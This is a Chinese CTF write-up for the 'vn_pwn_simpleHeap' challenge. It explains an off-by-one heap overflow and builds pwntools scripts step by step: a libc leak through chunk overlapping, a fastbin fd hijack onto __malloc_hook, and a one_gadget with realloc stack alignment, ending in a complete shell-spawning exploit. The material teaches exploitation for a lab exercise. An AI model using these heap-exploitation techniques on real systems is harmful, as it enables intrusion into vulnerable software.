7. simpleHeap(off by one)
不带libc,使用libc-2.23做就行了。
漏洞发生点在sub_CBB(edit)中。
qword_2020A0和dword_202060按套路来说其中一个肯定是chunk list,另外一个是什么呢?gdb调试一下。
是chunk size。跟进sub_C39。
可以发现是i>a2的判断,也就是从0写到16,于是溢出了一个字节。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./vn_pwn_simpleHeap","b *0x555555554d6fn c")
#sh = process("./vn_pwn_simpleHeap")
elf = ELF("./vn_pwn_simpleHeap")
#chunk size
#0x555555756060
#chunk list
#0x5555557560a0
def add(size, content="AAAAAAAA"):
sh.sendlineafter("choice: ","1")
sh.sendlineafter("size?",str(size))
sh.sendlineafter("content:",content)
def edit(index, content):
sh.sendlineafter("choice: ","2")
sh.sendlineafter("idx?",str(index))
sh.sendlineafter("content:",content)
def show(index):
sh.sendlineafter("choice: ","3")
sh.sendlineafter("idx?",str(index))
def delete(index):
sh.sendlineafter("choice: ","4")
sh.sendlineafter("idx?",str(index))
add(0x10)
add(0x10)
edit(0,"B"*17)
show(0)
sh.interactive()
当然,这样溢出不到我们想要的字节,所以要用0x18
add(0x18)
add(0x18)
edit(0,"B"*0x18+"x81")
show(0)
sh.interactive()
这样有什么用呢?通过改大size,越界打印其他chunk的fd/bk?看起来不行,因为show用的是puts,碰到x00就停止了,而我们无法避免x00。
正解需要用到unsorted bins的切片特性做到重叠chunk。先申请一个便于溢出的0x18,两个0x60,一个防topchunk合并的0x10。由于我们用的libc是2.23所以不需要考虑tcache的问题。
add(0x18)
add(0x60)
add(0x60)
add(0x10)
篡改chunk1,将chunk2覆盖掉,再free chunk1。
edit(0, "B"*0x18+"xe1");
delete(1)
再将chunk1 add回来,会发生什么呢?
add(0x60)
可以看到,unsorted bins切出了0x70的chunk,会继续将剩下的chunk2的0x70当作已经free的堆块。然而事实上是chunk2根本没有被free,所以接下来只需要打印chunk2,即泄露libc(main_arena+N)。
这种情况chunk2被称为堆重叠(chunk overlapping)。
show(2)
跟libc对比发现是__malloc_hook + 0x68 = main_arena+N
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./vn_pwn_simpleHeap","b *0x555555554d6fncnc")
#sh = process("./vn_pwn_simpleHeap")
elf = ELF("./vn_pwn_simpleHeap")
e = ELF("./vn_pwn_simpleHeap")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
libc__malloc_hook = libc.sym['__malloc_hook']
libc_main_arena_N = libc__malloc_hook + 0x68
libc_malloc_hook = libc.sym['__malloc_hook']
print(hex(libc__malloc_hook)) #0x3c3b10
print(hex(libc_main_arena_N)) #0x3c3b78
print(hex(libc_malloc_hook)) #0x3c3b10
def add(size, content="AAAAAAAA"):
sh.sendlineafter("choice: ","1")
sh.sendlineafter("size?",str(size))
sh.sendlineafter("content:",content)
def edit(index, content):
sh.sendlineafter("choice: ","2")
sh.sendlineafter("idx?",str(index))
sh.sendlineafter("content:",content)
def show(index):
sh.sendlineafter("choice: ","3")
sh.sendlineafter("idx?",str(index))
return sh.recvline()
def delete(index):
sh.sendlineafter("choice: ","4")
sh.sendlineafter("idx?",str(index))
add(0x18)#0
add(0x60)#1
add(0x60)#2
add(0x10)#3
edit(0, "B"*0x18+"xe1");
delete(1)
add(0x60)#1
addr_main_arena_N = u64(show(2)[0:6]+"x00x00")
print(hex(addr_main_arena_N))
print(hex(libc_main_arena_N)) #0x3c3b78
sh.interactive()
接下来如何getshell呢?显然chunk2这种状态既能show也能edit,我们可以轻松劫持它的fd,但还需要另外一个chunk配合。
add(0x60)
delete(4)
可以看到,由于chunk2被认为是free的,所以add(0x60)和delete(4)也是在它的位置上操作的。这样操作后,chunk4被认为是fastbin,而且和chunk2重叠,此时再编辑chunk2,即可达到劫持fd的目的。
劫持到哪个地址呢?由于Full RELRO保护防got表篡改,所以还是只能__free_hook/__malloc_hook。这里需要选择__malloc_hook,原因是还存在chunk size的校验,需要在__malloc_hook上方偏移一块地址出来当chunk size,而__free_hook上方不那么好偏移。
gdb看一眼__malloc_hook上方。
将__memalign_hook的0x7f给偏移出来。
得到偏移量为0x7ffff7dd1b10 – 0x7ffff7dd1b05 = 0xb,试一试。
edit(2, p64(addr_malloc_hook-0xb))
add(0x60)
add(0x60)
可以看到,成功写入AAAA,不过实际测试这样离__malloc_hook太近了,再选更上面一个0x7f,离__malloc_hook 0x23。以及写入one_gadget。
edit(2, p64(addr_malloc_hook-0x23))
add(0x60)
add(0x60,"A"* 0x13 +p64(addr_one_gadget))
sh.sendlineafter("choice: ","1")
sh.sendlineafter("size?","16")
sh.interactive()
但这样做无法getshell,原因是栈平衡问题,需要用realloc+13进行栈平衡。
https://bbs.kanxue.com/thread-246786.htm
完整exp如下。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./vn_pwn_simpleHeap","b *0x555555554d6fncnc")
sh = process("./vn_pwn_simpleHeap")
elf = ELF("./vn_pwn_simpleHeap")
e = ELF("./vn_pwn_simpleHeap")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
libc__malloc_hook = libc.sym['__malloc_hook']
libc_main_arena_N = libc__malloc_hook + 0x68
libc_malloc_hook = libc.sym['__malloc_hook']
libc_realloc_hook = libc.sym['__libc_realloc']
print(hex(libc__malloc_hook)) #0x3c3b10
print(hex(libc_main_arena_N)) #0x3c3b78
print(hex(libc_malloc_hook)) #0x3c3b10
#chunk size
#0x555555756060
#chunk list
#0x5555557560a0
def add(size, content="AAAAAAAA"):
sh.sendlineafter("choice: ","1")
sh.sendlineafter("size?",str(size))
sh.sendlineafter("content:",content)
def edit(index, content):
sh.sendlineafter("choice: ","2")
sh.sendlineafter("idx?",str(index))
sh.sendlineafter("content:",content)
def show(index):
sh.sendlineafter("choice: ","3")
sh.sendlineafter("idx?",str(index))
return sh.recvline()
def delete(index):
sh.sendlineafter("choice: ","4")
sh.sendlineafter("idx?",str(index))
add(0x18)#0
add(0x60)#1
add(0x60)#2
add(0x10, "sh")#3
edit(0, "B"*0x18+"xe1");
delete(1)
add(0x60)#1
addr_main_arena_N = u64(show(2)[0:6]+"x00x00")
addr_libc = addr_main_arena_N - libc_main_arena_N
addr_malloc_hook = addr_libc + libc_malloc_hook
print(hex(addr_malloc_hook))
#one_gadget
#0x45206
#0x4525a
#0xef9f4
#0xf0897
addr_one_gadget = addr_libc + 0x4525a
add(0x60)#4
delete(4)
realloc_hook = addr_libc + libc.symbols['__libc_realloc']
edit(2, p64(addr_malloc_hook-0x23))
add(0x60)
payload = "A" *(0x13-0x8) + p64(addr_one_gadget) + p64(realloc_hook+13)
add(0x60, payload)
sh.sendlineafter("choice: ","1")
sh.sendlineafter("size?","16")
sh.interactive()
原文始发于微信公众号(珂技知识分享):web选手入门pwn(13) ——off by one